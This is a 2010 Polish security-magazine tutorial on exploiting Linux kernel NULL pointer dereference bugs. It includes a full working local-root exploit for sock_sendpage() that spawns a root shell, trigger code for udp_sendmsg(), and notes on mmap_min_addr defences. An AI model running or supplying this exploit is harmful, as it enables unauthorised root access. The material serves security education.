2010 01 Błędy typu NULL Pointer Dereference

background image

34

HAKIN9

ATAK

1/2010

N

ull pointer dereference jest kolejnym
typem błędów, jakie może popełnić
osoba pisząca kod w języku C. Już

w 1994 roku opublikowany został exploit,
wykorzystujący taką podatność w bibliotecznej
funkcji

pt _ chmod()

. W ciągu ostatnich kilku

miesięcy, ilość znalezionych bugów dereferencji
wskaźnika znacznie się zwiększyła. Większość z
nich znajdowała się w jądrze Linuksa.

Artykuł ten ma na celu przedstawić

Czytelnikowi sposób wykorzystania błędu typu
Null Pointer Dereference w podatnym kernelu,
lecz aby w pełni zrozumieć opisywaną technikę,
musimy wiedzieć jak działa pamięć wirtualna
procesu, co się w niej znajduje, oraz jak
możemy nią manipulować.

Anatomia procesu w pamięci

Systemy uniksowe, wykorzystują płaski model
pamięci (ang. flat model). Cały trik polega na
tym, że dzięki temu zastosowaniu, możemy
odwołać się do każdego bajtu pamięci, poprzez
adres z puli od 0x00000000 do 0xffffffff.
Uwarunkowane to jest pojemnością rejestrów
jakie posiada procesor. Każdy z nich ma 32
bity -> 4 bajty (oprócz rejestrów segmentowych,
które posiadają 16 bitów), co daje nam 4 GB
(0xffffffff) pamięci, dostępnej poprzez adres.
Wszystkie uruchomione programy posiadają
własne wirtualne bloki pamięci, dzięki czemu
proces nie może wyjść poza przydzielony mu
obszar.

DAMIAN OSIENICKI

Z ARTYKUŁU

DOWIESZ SIĘ

jak działa pamięć wirtualna

procesu w systemach

linuksowych,

jak wykorzystać błąd Null

Pointer Dereference w

podatnym jądrze.

CO POWINIENEŚ

WIEDZIEĆ

wskazana jest praktyczna

znajomość języka C oraz

Asembler,

ogólna znajomość systemu

Linux.

Jeśli chcemy odwołać się pod jakiś

adres, to musi on być przedtem zamapowany.
Oznacza to tyle, że obszar pamięci, pod który
chcemy się odwołać, musi w rzeczywistości
wskazywać w konkretne miejsce pamięci
fizycznej. Mechanizm translacji adresów
wirtualnych na fizyczne nazywa się
stronicowaniem (patrz Ramka).

Jeśli proces odwoła się do regionu

pamięci, który nie jest mapowany, to jądro
wyśle do niego sygnał SIGSEGV, po czym go
unicestwi. Pamięć programu podzielona jest na
kilka segmentów. Najważniejsze z nich zostały
przedstawione na Rysunku 1.

Przykładowo, segmenty text i data oraz

dynamiczne biblioteki są tworzone dzięki
systemowej funkcji

mmap( )

. Jej działanie

opiera się na mapowaniu pewnego regionu
pamięci oraz opcjonalnie, na wypełnieniu go
zawartością pliku. Dla sterty i segmentu bss,
jądro wykorzystuje wywołanie

brk()

, a dla

stosu, swoją wewnętrzną funkcję:

setup _

arg _ pages( )

.

Lord of the ring0

Jeśli adresy wirtualne są uruchomione,
to odnoszą się nie tylko do całego
oprogramowania działającego w systemie,
ale także do jądra Linuksa. W zasadzie,
pamięć procesu jest podzielona na
dostępną dla aplikacji oraz tę dla kernela.
Kernel ma zarezerwowany 1 GB pamięci

Stopień trudności

Błędy typu

NULL Pointer

Dereference

Nieostrożne operacje na wskaźnikach są źródłem wielu błędów

które mogą posłużyć do eskalacji przywilejów lub ataków DoS.

Artykuł opisuje model zarządzania pamięcią wirtualną procesu

oraz sposób wykorzystania błędów dereferencji wskaźnika,

w systemach linuksowych, na platformie 32-bitowej.

background image

35

HAKIN9

BŁĘDY TYPU NULL POINTER DEREFERENCE

1/2010

dla siebie oraz tak jak w przypadku
procesu, nie wykorzystuje jej całej.
W Linuksie, przestrzeń jądra jest
mapowana i dostępna pod tym samym
wirtualnym adresem we wszystkich
programach, aby cały czas być
gotowym do uchwycenia przerwań
lub wywołań systemowych. Ten 1 GB
przeznaczonego miejsca dla jądra,
jest mapowany w tablicy stron jako
specjalnie uprzywilejowany (ring 0).
Wszelkie bezpośrednie odwołania do
niego, kończą się zabiciem procesu.

Procesor w czasie wykonywania

kodu aplikacji użytkownika, pracuje
z uprawnieniami ring3 (najmniej
uprzywilejowany). Dopiero gdy proces
wykona któryś z syscalli, jego uprawnienia
zmieniają się na ring0.

Nie ma znaczenia czy jesteś

zalogowany jako root, guest, lub nobody,
ponieważ uprawnienia te, dotyczą tylko
procesora.

Studium przypadku

Wskaźniki w języku C to zmienne,
które przechowują adresy. Najczęściej
używa się ich, aby wskazywały na
struktury, ciągi znaków lub funkcje.
Ogólnie przyjęto, że jeśli w funkcji,
która miała zwrócić adres do regionu
pamięci, wystąpił błąd, to zwraca ona
NULL. Jednak nie zawsze sprawdza
się tę wartość, co skutkuje błędem
SIGSEGV, ponieważ NULL to po prostu
odwołanie do adresu 0x0. Technika
dereferencji wskaźnika opiera się na
wcześniejszym mapowaniu tego regionu
pamięci poprzez funkcję

mmap()

oraz

podstawieniu fałszywych danych, które
zostaną użyte jako prawidłowe. Jednak
funkcja

mmap()

ma pewne ograniczenia.

W systemie Linux nie można mapować
pamięci innego procesu. Tak więc błędy
tego typu w zwykłych aplikacjach nic
nam nie dadzą oprócz ataku DoS. Inną
sprawą jest znalezienie takiej podatności
w jądrze. Tak jak omawiane to było
wcześniej, kod jądra znajduje się w
każdym procesie i nie jest ograniczony
do operacji, tylko na swoim kawałku
pamięci. Więc jeśli kernel odwoła się do
danych spod adresu Null (który został
wcześniej zamapowany), to ta operacja
się powiedzie.

Rysunek 1.

Schemat segmentów w pamięci procesu

������������

�������������������������������������������

����������������

������������

�����������������������

���������������������������������������������������

�����������������

��������������������������������������

��������������������������������������������

�����������������

��������������������������������

������������������

�����������������������������

������������������

��������������������������������������������

����������

����������

����������

����������

}

}

����

����

����������

Rysunek 2.

Podział trybów pracy procesora

����������
��������
�����������

�������
��������

���������
���������
��������������

����������

�����������

�����

Listing 1.

Kod funkcji sock_sendpage()

static

ssize_t

sock_sendpage

(

struct

file

*

file

,

struct

page

*

page

,

int

offset

,

size_t

size

,

loff_t

*

ppos

,

int

more

)

{

struct

socket

*

sock

;

int

flags

;

sock

=

file

->

private_data

;

flags

= !

(

file

->

f_flags

&

O_NONBLOCK

)

?

0

:

MSG_DONTWAIT

;

if

(

more

)

flags

|=

MSG_MORE

;

return

sock

->

ops

->

sendpage

(

sock

,

page

,

offset

,

size

,

flags

);

}

background image

ATAK

36

HAKIN9 1/2010

BŁĘDY TYPU NULL POINTER DEREFERENCE

37

HAKIN9

1/2010

sock_sendpage( )

Przykładowym błędem dereferencji
wskaźnika, jest luka znaleziona w funkcji

sock _ sendpage( )

(Listing 1), która

znajduje się we wszystkich kernelach
z serii 2.6 oraz w większości 2.4. W jej
ostatniej instrukcji, istnieje skok do funkcji,
której adres przechowuje wskaźnik do
struktury typu proto_ops. W strukturze
tej zdefiniowane są wskaźniki do funkcji
s, które wykonują różne operacje na
gnieździe (Listing 2).

Błąd polega na niedostatecznym

zainicjalizowaniu tejże struktury,
poprzez makro SOCKOPS_WRAP( ).
Jeśli utworzony socket, będzie jednym
z wymienionych rodzin protokołów:
PF_APPLETALK, PF_IPX, PF_IRDA, PF_X25,
PF_AX25, PF_BLUETOOTH, PF_IUCV, PF_
INET6, PF_PPPOX, PF_ISDN, to wskaźnik
w proto_ops do funkcji

sendpage()

, nie

zostanie przypisany, w konsekwencji
będzie równy NULL. Wcześniejsze
umieszczenie w tym miejscu instrukcji dla
procesora, spowoduje ich wykonanie z
przywilejami ring0.

Shellcode

Aby podnieść przywileje naszego
procesu, wykorzystamy standardową
metodę nadpisywania pól struktury
task_struct, które określają uid oraz gid,
z jakimi został uruchomiony program.
Do tego zadania potrzebny nam będzie
adres

task _ struct

. Po aktualizacji

naszego uid i gid, musimy powrócić do
user land bez wywołania żadnego błędu.

Rysunek 3.

Schemat stosu w trybie jądra

����

�����������

����

������������

����

Listing 2.

Część struktury proto_ops

struct

proto_ops

{

int

family

;

struct

module

*

owner

;

int

(

*

release

)

(

struct

socket

*

sock

);

int

(

*

bind

)

(

struct

socket

*

sock

,

struct

sockaddr

*

myaddr

,

int

sockaddr_len

);

int

(

*

connect

)

(

struct

socket

*

sock

,

struct

sockaddr

*

vaddr

,

int

sockaddr_len

,

int

flags

);

int

(

*

socketpair

)(

struct

socket

*

sock1

,

struct

socket

*

sock2

);

(

.)

ssize_t

(

*

sendpage

)

(

struct

socket

*

sock

,

struct

page

*

page

,

int

offset

,

size_t

size

,

int

flags

);

ssize_t

(

*

splice_read

)(

struct

socket

*

sock

,

loff_t

*

ppos

,

struct

pipe_inode_info

*

pipe

,

size_t

len

,

unsigned

int

flags

);

};

Stronicowanie (ang. pages table)

Procesory 80386 i nowsze, pracujące w trybie chronionym umożliwiają dowolne mapowanie adresów logicznych na adresy fizyczne – mechanizm
ten nazywany jest stronicowaniem (ang. paging). Adresy logiczne obejmują całą przestrzeń adresową procesora, czyli 4 GB, niezależnie od tego, ile w
rzeczywistości w komputerze zainstalowano pamięci. Zadaniem systemu operacyjnego jest odpowiednie mapowanie adresów logicznych na adresy
pamięci fizycznej, co pozwala zwykłym programom użytkowym, przez cały czas działania, odwoływać się do tych samych adresów logicznych.

Jeśli włączone jest stronicowanie, wówczas cała pamięć (4 GB) dzielona jest na bloki – strony o rozmiarach 4 kB; w procesorach Pentium i

nowszych możliwe jest także używanie stron o rozmiarach 4 MB. Gdy program odwołuje się do pamięci, podaje adres właściwej komórki pamięci.
Adres ten jest 32-bitową liczbą, która składa się z trzech części:

• indeks w katalogu stron (liczba 10-bitowa),
• indeks w tablicy stron (liczba 10-bitowa),
przesunięcie w obrębie strony (liczba 12-bitowa).

Katalog stron zawiera wskaźniki do tablic stron, tablice stron przechowują adresy fizyczne stron (system operacyjny może zarządzać wieloma
katalogami i tablicami stron).

Zatem pierwsza część adresu wybiera z katalogu stron tablicę stron. Druga część adresu wybiera pozycję z tablicy stron, która wyznacza

fizyczny adres konkretnej strony. Przesunięcie jest adresem lokalnym w obrębie wybranej strony. Ostatecznie adres fizyczny, na który zamapowano
adres logiczny, wyznaczany jest z dwóch składników: adresu fizycznego strony i przesunięcia.

background image

ATAK

36

HAKIN9 1/2010

BŁĘDY TYPU NULL POINTER DEREFERENCE

37

HAKIN9

1/2010

Gdybyśmy tego nie zrobili, jądro zabiłoby
nasz proces, któremu przed chwilą
podnieśliśmy uprawnienia.

Adres task_struct

W Linuksie, stos trybu jądra umieszczono
w jednym obszarze pamięci, razem ze
strukturą thread_info (pierwsze pole
tej struktury to wskaźnik do task_struct
aktualnego procesu). Obszar ten ma

zazwyczaj długość 8 kB (czasami jest
to 4 kB) oraz zawsze rozpoczyna się
adresem, który jest wielokrotnością 8 192
bajtów (2

13

) (Rysunek 2).

Dzięki takiej konstrukcji, kernel może

odwołać się do thread_info w bardzo
prosty sposób, mianowicie poprzez
maskowanie 13 najmniej znaczących
bitów (12 w przypadku 4 kB) rejestru ESP.
Po wykonaniu tej czynności, otrzymujemy

adres thread_info oraz jednocześnie,
wskaźnik do struktury task_struct.

Powrót do user land

W przypadku błędu w

sock _ sendpage( )

,

powrót do przestrzeni użytkownika
może się odbyć poprzez instrukcję ret,
ponieważ nasz shellcode wywoływany
jest w kontekście nowej funkcji. Więc
jeśli rejestry ebp i esp pozostaną

Listing 3.

Kod exploita na sock_sendpage()

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/user.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/mman.h>
#include <sys/stat.h>

static

unsigned

int

uid

,

gid

,

cs

,

ss

;

static

unsigned

long

esp

;

void

root_exec

()

{

if

(

getuid

()

!=

0

)

{

printf

(

"Shellcode fail\n"

);

exit

(

1

);

}

execl

(

"/bin/sh"

,

"sh"

,

"-i"

,

NULL

);

}

void

shellcode

()

{

int

i

,

*

p

;

unsigned

long

current

;

asm

volatile

(

"movl %%esp, %0;"

:

"=r"

(

current

)

);

current

&=

0xffffe000

;

current

= *

(

unsigned

long

*

)

current

;

p

=

(

int

*

)(

current

+

0x2bc

);

p

=

(

int

*

)

*

p

;

for

(

i

=

0

;

i

<

300

;

i

++

)

{

if

(

p

[

0

]

==

uid

&&

p

[

1

]

==

uid

&&

p

[

4

]

==

gid

&&

p

[

5

]

==

gid

)

{

p

[

0

]

=

p

[

1

]

=

0

;

p

[

4

]

=

p

[

5

]

=

0

;

break

;

}

p

++

;

}

asm

volatile

(

"movl %0, 0x10(%%esp) ;"

"movl %1, 0x0c(%%esp) ;"

"movl %2, 0x08(%%esp) ;"

"movl %3, 0x04(%%esp) ;"

"movl %4, 0x00(%%esp) ;"

"iret"

: :

"r"

(

ss

),

"r"

(

esp

),

"r"

(

0

),

"r"

(

cs

),

"r"

(

root_exec

)

);

}

int

main

(

void

)

{

int

sock

,

file

;

void

*

page

;

char

template

[]

=

"/tmp/exploit.XXXXXX"

;

uid

=

getuid

();

gid

=

getgid

();

asm

volatile

(

"movl %%esp, %0\n"

:

"=r"

(

esp

)

);

asm

volatile

(

"mov %%ss, %0\n"

:

"=r"

(

ss

)

);

asm

volatile

(

"mov %%cs, %0\n"

:

"=r"

(

cs

)

);

if

((

page

=

mmap

(

NULL

,

0x1000

,

PROT_READ

|

PROT_WRITE

,

MAP_PRIVATE

|

MAP_FIXED

|

MAP_

ANONYMOUS

,

0

,

0

))

==

MAP_FAILED

)

{

perror

(

"mmap"

);

exit

(

1

);

}


*

(

char

*

)

0

=

'\xff'

;

*

(

char

*

)

1

=

'\x25'

;

*

(

unsigned

long

*

)

2

=

(

unsigned

long

)

6

;

*

(

unsigned

long

*

)

6

=

(

unsigned

long

)

shellcode

;

if

((

file

=

mkstemp

(

template

))

<

0

)

{

perror

(

"mkstemp"

);

exit

(

1

);

}

if

((

sock

=

socket

(

PF_PPPOX

,

SOCK_DGRAM

,

0

))

<

0

)

{

perror

(

"socket"

);

exit

(

1

);

}

unlink

(

template

);

ftruncate

(

file

,

PAGE_SIZE

);

sendfile

(

sock

,

file

,

NULL

,

PAGE_SIZE

);

}

background image

ATAK

38

HAKIN9 1/2010

BŁĘDY TYPU NULL POINTER DEREFERENCE

39

HAKIN9

1/2010

niezmienione, to jądro samo powróci
do przestrzeni użytkownika. Gdy nie
znajdujemy się w takiej komfortowej
sytuacji, to musimy sami wywołać
instrukcję, która spowoduje powrót z
kernel mode do user land. W Linuksie
do dyspozycji mamy dwa wyjścia, użycie

instrukcji sysexit bądź instrukcji iret. My
wykorzystamy tę drugą. Jej działanie jest
proste: pobiera ona pięć argumentów ze
stosu:

• adres instrukcji, od której można

wznowić wykonywanie programu,

• wartość rejestru segmentowego CS,
• zachowane flagi,
• wartość rejestru ESP,
• wartość rejestru segmentowego SS,

po czym przenosi je do odpowiednich
rejestrów procesora.

W pierwszym argumencie umieścimy

adres funkcji wywołującej powłokę.
Wartości rejestrów CS, SS i ESP
pobierzemy z wcześniej utworzonych
kopii. W przypadku rejestru flag, nie
musimy ustawiać żadnej z nich, więc
przekażemy po prostu zero.

Exploit

Cały kod exploita znajduje się na Listingu 3.

Na początku inicjalizujemy wszystkie

zmienne statyczne, których będziemy
używać w shellcode. Potem wywołujemy
funkcję

mmap( )

z flagami, które

wymuszają mapowanie adresu Null
oraz informującymi, że mapownaie nie
jest oparte na żadnym pliku. Kolejne linie
kopiują poniższą instrukcję skoku (w
języku maszynowym) pod 0x0:

jmp *0x6

a następnie adres funkcji shellcode. Dalej
przebiega inicjalizacja pliku oraz gniazda,
potrzebnych do wywołania błędu. Dzięki
funkcji

sendfile( )

, jądro uruchamia

sock _ sendpage( )

, po czym skacze

pod adres Null. Umieszczone tam
instrukcje, przenoszą działanie programu
do funkcji

shellcode( )

. Jedynym jej

elementem, który nie został omówiony, jest
pętla

for( )

. Literuje ona całą strukturę

task _ struct

(Listing 4), w poszukiwaniu

uid oraz gid, z jakimi został uruchomiony
proces, po czym ustanawia jego nową
wartość. Po wyjściu z przestrzeni jądra,
uruchamiamy powłokę z prawami roota.

udp_sendmsg()

Innym ciekawym przykładem jest błąd
znaleziony w funkcji

udp _ sendmsg()

.

Polega on na tym, że pointer wskazujący
na strukturę rtable, zostaje zinicjowany
wartością Null.

Doprowadzając do odpowiednich

warunków, pointer ten zostaje przekazany
bez żadnych modyfikacji do argumentów
funkcji

ip _ append _ data()

, która

Listing 4.

Część struktury task_struct

struct

task_struct

{

volatile

long

state

;

/* -1 unrunnable, 0 runnable, >0 stopped */

void

*

stack

;

atomic_t

usage

;

unsigned

int

flags

;

/* per process flags, defined below */

unsigned

int

ptrace

;

int

lock_depth

;

/* BKL lock depth */

(

.)

/* process credentials */

uid_t

uid

,

euid

,

suid

,

fsuid

;

gid_t

gid

,

egid

,

sgid

,

fsgid

;

struct

group_info

*

group_info

;

kernel_cap_t

cap_effective

,

cap_inheritable

,

cap_permitted

,

cap_bset

;

struct

user_struct

*

user

;

unsigned

securebits

;

(

.)

};

Listing 5.

Część funkcji udp_sendmsg()

int

udp_sendmsg

(

struct

kiocb

*

iocb

,

struct

sock

*

sk

,

struct

msghdr

*

msg

,

size_t

len

){

(

.)

struct

rtable

*

rt

=

NULL

;

(

.)

if

(

up

->

pending

)

{

/*

* There are pending frames.
* The socket lock must be held while it's corked.
*/

lock_sock

(

sk

);

if

(

likely

(

up

->

pending

))

{

if

(

unlikely

(

up

->

pending

!=

AF_INET

))

{

release_sock

(

sk

);

return

-

EINVAL

;

}

goto

do_append_data

;

}

release_sock

(

sk

);

}

(

.)

do_append_data:

up

->

len

+=

ulen

;

err

=

ip_append_data

(

sk

,

ip_generic_getfrag

,

msg

->

msg_iov

,

ulen

,

sizeof

(

struct

udphdr

),

&

ipc

,

rt

,

corkreq

?

msg

->

msg_flags

|

MSG_MORE

:

msg

->

msg_flags

);

if

(

err

)

udp_flush_pending_frames

(

sk

);

else

if

(

!

corkreq

)

err

=

udp_push_pending_frames

(

sk

,

up

);

release_sock

(

sk

);

(

.)

background image

ATAK

38

HAKIN9 1/2010

BŁĘDY TYPU NULL POINTER DEREFERENCE

39

HAKIN9

1/2010

wykonuje operacje na strukturze
przez niego wskazywanej. Posiadając
władzę nad strukturą rtable, jesteśmy w
stanie modyfikować każde jej pole, a w
konsekwencji, wykonać nasz kod na
poziomie ring0.

Najbezpieczniejszym wyjściem

jest wykorzystanie wskaźnika funkcji
(*output)(struct sk_buff*) zawartym w
unii dst_entry. Wywoływany jest on przez
funkcję

dst _ output()

, którą z kolei

wywołuje makro NF_HOOK():

#define NF_HOOK(pf, hook, skb, indev,

outdev, okfn)
(okfn)(skb)

Do uchwycenia błędu musimy stworzyć
gniazdo UDP i jego nagłówek, a następnie
wywołać funkcję

sendmsg()

dwukrotnie.

Za drugim razem funkcja

udp _

sendmsg()

znów skoczy do etykiety do_

append_data, po czym spróbuje wysłać
nasz pakiet, wykonując przy tym wcześniej
wspomniane makro NF_HOOK(). Jako
że wskaźnik output będzie wskazywać
na naszą funkcję, to zostanie ona
wykonana przez jądro. Reszta scenariusza

jest już znana. Warto samodzielnie
przeanalizować cały ten schemat w
źródłach Linuksa, gdyż umiejętność
odnalezienia się wielu różnych strukturach
oraz funkcjach na nich pracujących, jest
bardzo cenna (nieocenionym narzędziem
do tego będzie strona lxr.linux.no).

Obrona

Deweloperzy jądra w wersji 2.6.23,
wprowadzili minimalny adres, jaki może
zostać mapowany (/proc/sys/vm/mmap_
min_addr
). Skutecznie uniemożliwia
to wykorzystywanie błędów typu Null
Pointer Dereference. Pierwszy bypass
został odkryty w funkcji

do _ brk()

, która

służy do alokacji miejsca na stercie.
Błąd polegał na niedostatecznym
sprawdzaniu, czy dany region pamięci
może być mapowany. Alokując duże
regiony pamięci poprzez funkcję

malloc()

, bądź nawet funkcję

mmap()

(obie korzystają z do_brk()), w końcu
udałoby się osiągnąć adres Null. Błąd
został naprawiony w wersji 2.6.24-rc5.

W czerwcu tego roku, Julien Tinnes

oraz Tavis Ormandy, zaprezentowali nową
technikę obejścia mmap_min_addr, która

wykorzystuje demon do obsługi dźwięku,
zainstalowany we wszystkich popularnych
dystrybucjach. Linux pozwala na
mapowanie adresu Null programom, które
mają ustawiony bit setuid (gdyż programy
z bitem suid posiadają CAP_SYS_RAWIO
capability
co w rzeczywistości, pozwala
na mapowanie adresu Null). Aby to
wykorzystać, program taki musi jeszcze
wykonać nasz kod, bez wywoływania go
jako nowego procesu. Julien i Tavis użyli
do tego zadania pulseaudio, który ma
standardowo ustawiony bit setuid oraz
pozwala na użycie dynamicznej biblioteki,
wybranej przez użytkownika (oczywiście
pulseaudio zrzuca przedtem uprawnienia).
Ciekawą informacją jest to, że SELinux
w standardowych ustawieniach, zezwala
pulseaudio na mapowanie adresu Null,
co w połączeniu z wykonaniem kodu
na poziomie ring0, daje atakującemu
możliwość całkowitego obejścia
zabezpieczeń stosowanych przez SELinux
czy AppArmor.

W wersji 2.6.31-rc3 potraktowano

powyższy bypass mmap_min_addr
jako podatność jądra, oraz usunięto
ją, wykorzystując do tego celu łatę
zaproponowaną przez odkrywców
podatności.

Podsumowanie

Wykorzystywanie błędów, znajdujących się
w jądrze Linuksa, jest pewnego rodzaju
sztuką. Opublikowanie podatności w jądrze,
czy napisanie PoC na błąd, który uważany
był za niemożliwy do eksploitacji, łączy się
z szacunkiem i uznaniem w środowisku.
Artykuł ten omówił tylko podstawy, jakie
każda osoba interesująca się pisaniem
eksploitów powinna znać. Istnieje wiele
technik, których można użyć. Ucieczka z
więzienia chroot, zablokowanie SELinux,
czy zdalny atak na jądro, to tylko przykłady.
Widzimy, że wszystkie błędy, znajdujące
się na poziomie jądra, są bardzo groźne w
skutkach, dlatego jego ciągła aktualizacja
jest bardzo ważnym elementem w
zapewnieniu ochrony systemowi.

Damian Osienicki

Autor studiuje informatykę w Polsko – Japońskiej

Wyższej Szkole Technik Komputerowych. W wolnych

chwilach pisze programy w języku C, Asemblerze,

Pythonie oraz zgłębia działanie systemu Linux. Członek

grupy u-Crew oraz Gabspan.

Kontakt z autorem: ethoxyz@gmail.com

Listing 6.

Uchwycenie błędu w udp_sendmsg()

struct

msghdr

header

;

struct

sockaddr_in

address

;

int

sock

;

sock

=

socket

(

PF_INET

,

SOCK_DGRAM

,

0

);

if

(

sock

== -

1

)

{

printf

(

"[-] can't create socket\n"

);

exit

(

-

1

);

}

memset

(

&

header

,

0

,

sizeof

(

struct

msghdr

));

memset

(

&

address

,

0

,

sizeof

(

struct

sockaddr_in

));

address

.

sin_family

=

AF_INET

;

address

.

sin_addr

.

s_addr

=

inet_addr

(

"127.0.0.1"

);

address

.

sin_port

=

htons

(

22

);

header

.

msg_name

= &

address

;

header

.

msg_namelen

=

sizeof

(

address

);

// offset wskaźnika (*output)(struct sk_buff*)

*

(

unsigned

long

*

)(

0x74

)

=

(

unsigned

long

)

shellc0de

;

sendmsg

(

sock

,

&

header

,

MSG_MORE

|

MSG_PROXY

);

sendmsg

(

sock

,

&

header

,

0

);

close

(

sock

);

W Sieci

• wikipedia.org (http://pl.wikipedia.org/wiki/Stronicowanie_pamięci),
• blog.cr0.org (http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html).


Wyszukiwarka

Podobne podstrony:
Odwodnienie (dehydratatio) (17 12 2010 i 7 01 2011)
laboratorium artykul 2010 01 28 Nieznany
2010 01 22 21;50;57
2010 01 Wykład 6 Obwód LC drgania swobodne (2)
2010 01 02, str 106 110
2010 01 28 KWP Gorzów Regulamin
2010 01 02, str 100 105
2010 01 02, str 083 086
2010 01 Mechanik Pojazdow Samochodowych Teoretyczny
2010 01 02, str 053
2010.01.10. Parazytologia, WSPiA, 1 ROK, Semestr 1, Biologia i Mikrobiologia
2010.01.08. Bakteriologia, WSPiA, 1 ROK, Semestr 1, Biologia i Mikrobiologia
2010 01 Zabawa w SSHowanego [Administracja]
2010 01 02, str 154 157
2010 01 Synchronizacja danych na wielu nośnikach [Administracja]
2010 01 02, str 077 080
2010 01 Sauna na podczerwien nowoczesna metoda stosowana w m
2010 01 02, str 122 126
Podstawy metr wykł 5 2010 niepewnosc bledy

więcej podobnych podstron